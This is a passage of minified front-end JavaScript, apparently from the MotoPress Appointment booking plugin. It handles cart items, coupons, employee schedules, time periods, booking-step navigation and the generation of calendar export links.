e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return s(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case"disabled":default:t=e;break;case"fixed":t=this.service.depositAmount;break;case"percentage":t=e*this.service.depositAmount/100}return t>e?e:t}getHash(e="all"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t="all"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){"number"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){"number"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e<=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let i=!this.includesKey(e);return this.values[e]=t,i&&(this.keys.push(e),this.length++),i}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let i=this.findNextKey(e);return""!==i?this.values[i]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let i=t+1;return i<this.length?this.keys[i]:this.keys[t]}findPrevious(e,t=null){let i=this.findPreviousKey(e);return""!==i?this.values[i]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return"";let i=t-1;return i>=0?this.keys[i]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let i=this.keys.indexOf(e);return this.keys.splice(i,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let i of this.keys){let s=this.values[i][e];null!=s&&(Array.isArray(s)?t=t.concat(s):t.push(s))}return s(t)}forEach(e){let t=0;for(let i of this.keys){let s=e(this.values[i],t,i,this);if(t++,!1===s)break}}map(e){let t=[],i=0;for(let s of this.keys)t.push(e(this.values[s],i,s,this)),i++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return"object"==typeof e?0==function(e,t=!1){return"object"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e="",t=!1){let i=function(e,t){return t<(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join("0")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let s=e;return s+=i(parseInt((new Date).getTime()/1e3,10),8),s+=i(x.uniqid_seed,5),t&&(s+=(10*Math.random()).toFixed(8).toString()),s}class L{setupProperties(){var e;this.items=new M,this.activeItem=null,this.customerDetails={name:"",email:"",phone:""},this.paymentDetails={booking_id:0,gateway_id:"none"},this.coupon=null,this.bookingNonce=null!==(e=mpaData?.nonces?.mpa_create_booking)&&void 0!==e?e:""}constructor(){this.setupProperties()}createItem(e=""){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():""}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem="string"==typeof e?this.getItem(e):e}removeItem(e){"string"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let i of e)t+=i.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let i=t.getPrice();this.hasCoupon()&&(i-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(i)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e="all"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),"items"===e?t.items:t}getHash(e="all"){return E("order"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t="all"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=s(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class O{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class R extends O{setupProperties(){super.setupProperties(),this.name=""}}class N extends O{setupProperties(){super.setupProperties(),this.name=""}}class V extends O{setupProperties(){super.setupProperties(),this.name="",this.price=0,this.depositType="disabled",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking="",this.maxAdvanceTimeBeforeReservation="",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel="",this.variations={},this.image="",this.thumbnail=""}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let i=this.getVariation("price",e,this.price);return this.multiplyPrice&&(i*=t),i}getDuration(e=0){return this.getVariation("duration",e,this.duration)}getMinCapacity(e=0){return this.getVariation("min_capacity",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation("max_capacity",e,this.maxCapacity)}getVariation(e,t,i){return t in this.variations?this.variations[t][e]:i}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return""!==this.customQuantityLabel?this.getCustomQuantityLabel():u("Clients","motopress-appointment")}}class q{static loadInBackground(e,t,i=!1){return t.findById(e.id,i).then((t=>{if(null!==t)for(let i in t)e[i]=t[i];return t}))}}class U extends O{setupProperties(){super.setupProperties(),this.status="new",this.code="",this.description="",this.type="fixed",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of["expirationDate","minDate","maxDate"]){let i=e[t];null!=i&&""!==i&&(this[t]=b(i)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date<this.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let i=e.getPrice();switch(this.type){case"fixed":t=this.amount;break;case"percentage":t=i*this.amount/100}t=Math.min(t,i)}return t}}function H(e){return!!e}function W(e){let t=parseInt(e);return isNaN(t)?e<<0:t}class j{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf("mpa_")?t.substring(4):0===t.indexOf("_mpa_")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let i=this.mapRestDataToEntity(t);return this.saveEntity(e,i),i}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let i=[],s=[];for(let a of e)this.haveEntity(a)&&!t?s.push(this.getEntity(a)):i.push(a);return 0===i.length?Promise.resolve(s):this.requestEntities(i).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),s.push(e)}return s}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`/${this.entityType}s`}}class z extends j{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function G(e,t="public"){return f(e,"internal"==t?"H:i":"public"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(":"),i=parseInt(t[0]),s=parseInt(t[1]),a=v();return a.setHours(i,s),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(" - ");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime="string"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime="string"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime<e.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime<=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime<e.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()<=0}toString(e="public",t=" - "){"internal"==e&&(t=" - ");let i="short"==e?"public":e,s=G(this.startTime,i),a=G(this.endTime,i);return"internal"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&s===a?u("All day","motopress-appointment"):"short"==e&&s==a?s:s+t+a}}class K extends O{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)"date"==t?this.setDate(e[t]):"serviceTime"==t?this.setServiceTime(e[t]):"bufferTime"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date="string"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime="string"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime="string"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends j{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(" - ");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return"string"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e/1e3/3600/24)}inPeriod(e){return"string"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e<=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t<=this.endDate;t.setDate(t.getDate()+1)){let i=f(t,"internal"),s=new Date(t);e[i]=s}return e}toString(){return f(this.startDate,"internal")+" - "+f(this.endDate,"internal")}}class X extends O{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)"timetable"==t?this.setTimetable(e[t]):"customWorkdays"==t?this.setCustomWorkdays(e[t]):"daysOff"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],i=[];e.forEach((e=>{let s=new Y(e.time_period);t.push({time_period:s,location:e.location,activity:e.activity}),"work"==e.activity&&i.push({time_period:s,location:e.location})})),this.timetable.push(t),this.workTimetable.push(i)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return"string"!=typeof e&&(e=f(e,"internal")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if("string"==typeof e&&(e=b(e)),null==e)return[];let i=[],s=e.getDay();for(let e of this.workTimetable[s])0!=t&&e.location!=t||i.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&i.push(t.time_period);return i}}class ee extends j{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends j{mapRestDataToEntity(e){return new V(e.id,e)}}class ie{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee("mpa_schedule")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te("mpa_service")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z("mpa_reservation")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new z("mpa_coupon")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==ie.instance&&(ie.instance=new ie),ie.instance}}function se(){return ie.getInstance()}let ae=null;function re(e,t){const i=[];for(const s of e){const e=t.includes(s.slug),a=Array.isArray(s.children)?s.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&i.push({...s,children:r})}return i}function ne(e){let t=[];for(const i of e)i.slug&&t.push(i.slug),Array.isArray(i.children)&&(t=t.concat(ne(i.children)));return t}function oe(e,t=[],i=null,s=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var i,s;return(null!==(i=r.get(e.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)-(null!==(s=r.get(t.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(i)&&!i.includes(e.slug)||(a.push({id:e.slug,name:"&nbsp;&nbsp;".repeat(s)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,i,s+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),ae}(e).then((e=>{const{services:t,services_order:i,categories_order:s,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(i||[]),this.setCategoryIndexes(s||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let i=e[t];this.services[t]=i.name;for(let e in i.categories){let t=i.categories[e];this.serviceCategories[e]=t}for(let e in i.employees){let t=i.employees[e];this.employees[e]=t.name;for(let e in t.locations){let i=t.locations[e];this.locations[e]=i}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,i=null){let s=new V(e);return this.services.hasOwnProperty(e)&&s.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(s,se().service()),null!==i&&this.servicePromise.then(i),this.servicePromise.then((()=>s))):this.servicePromise=null,s}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new R(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,i=0){let s={};for(let a in this.availability){let r=this.availability[a];if(""===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((i=>{r.employees[i].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===i||i in r.employees)&&(s[a]=r.name)}}return s}getAvailableServiceCategories(){let e={};for(let t in this.availability){let i=this.availability[t];jQuery.extend(e,i.categories)}return e}getAvailableEmployees(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){let s=a.employees[e];(0===t||t in s.locations)&&(i[e]=s.name)}}return i}getAvailableLocations(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){if(0!=t&&e!=t)continue;let s=a.employees[e];jQuery.extend(i,s.locations)}}return i}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,i="ids"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(le):0!==t&&s.push(t);let r=[];for(let t in this.availability[e].employees){t=W(t);let i=this.availability[e].employees[t];if(0===s.length)r.push(t);else{a(s,Object.keys(i.locations).map(W)).length>0&&r.push(t)}}return 0===r.length?[]:"entities"===i?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,i="ids"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=W(t),a.length>0&&-1===a.indexOf(t))continue;let i=this.availability[e].employees[t];for(let e in i.locations)r.push(W(e))}return r=s(r),0===r.length?[]:"entities"===i?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let i=this.validateProperty(e,t);if(i===this[e])return;let s=this.preventReact;this.preventReact=!0,this.updateProperty(e,i),s||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let i=t;if(e in this.schema){let s=this.schema[e];if(null==t)i=s.default;else{switch(s.type){case"bool":i=H(t);break;case"integer":i=W(t)}if(!F(i)&&null!=s.options){s.options.indexOf(i)>=0||(i=this[e])}}}else null==t&&(i=null);return i}updateProperty(e,t){let i=this[e];this[e]=t,this.afterUpdate(e,t,i)}afterUpdate(e,t,i){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class de{static calculateTimezoneOffset(e){if("UTC"===e)return 0;const[t,i]=e.split(":").map(Number);if(isNaN(t)||isNaN(i))throw new Error("Unknown timezone format: "+e);return 60*t+i}static applyTimezoneOffset(e,t){const i=new Date(e);return i.setMinutes(e.getMinutes()-t),i}static isTimezoneProvideByIANA(e){return/^[A-Za-z]+\/[A-Za-z_]+(\/[A-Za-z_]+)?$/.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(/-|:|\.\d{3}/g,"")}static formatDateToCalendarLocal(e){return e.toISOString().replace(/-|:|\.\d{3}|Z/g,"")}static formatDateForOffsetTimeZone(e,t){const i=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,i);const a=this.calculateTimezoneOffset(t);return s=this.applyTimezoneOffset(s,a),this.formatDateToCalendar(s)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(i)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,i,s,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(i,n);0===t.getHours()&&0===t.getMinutes()&&0===i.getHours()&&0===i.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,""));const h=["BEGIN:VCALENDAR","VERSION:2.0",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push("BEGIN:VTIMEZONE","TZID:"+n,"END:VTIMEZONE");let c={dtstamp:"DTSTAMP:"+this.formatDateToCalendar(new Date),uid:"UID:"+e,dtstart:"DTSTART"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+o,dtend:"DTEND"+(this.isTimezoneProvideByIANA(n)?";TZID="+n+":":":")+l,summary:"SUMMARY:"+s,description:"DESCRIPTION:"+a,location:"LOCATION:"+r};c=wp.hooks.applyFilters("mpa_prepare_vevent_data",c);let p=Object.values(c);h.push("BEGIN:VEVENT",...p,"END:VEVENT"),h.push("END:VCALENDAR");const d=h.join("\n"),u=new Blob([d],{type:"text/calendar"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,i,s,a){const r=new URL("https://www.google.com/calendar/render"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(/T\d\d\d\d\d\d|Z/g,""),l=l.replace(/T\d\d\d\d\d\d|Z/g,"")),r.search=new 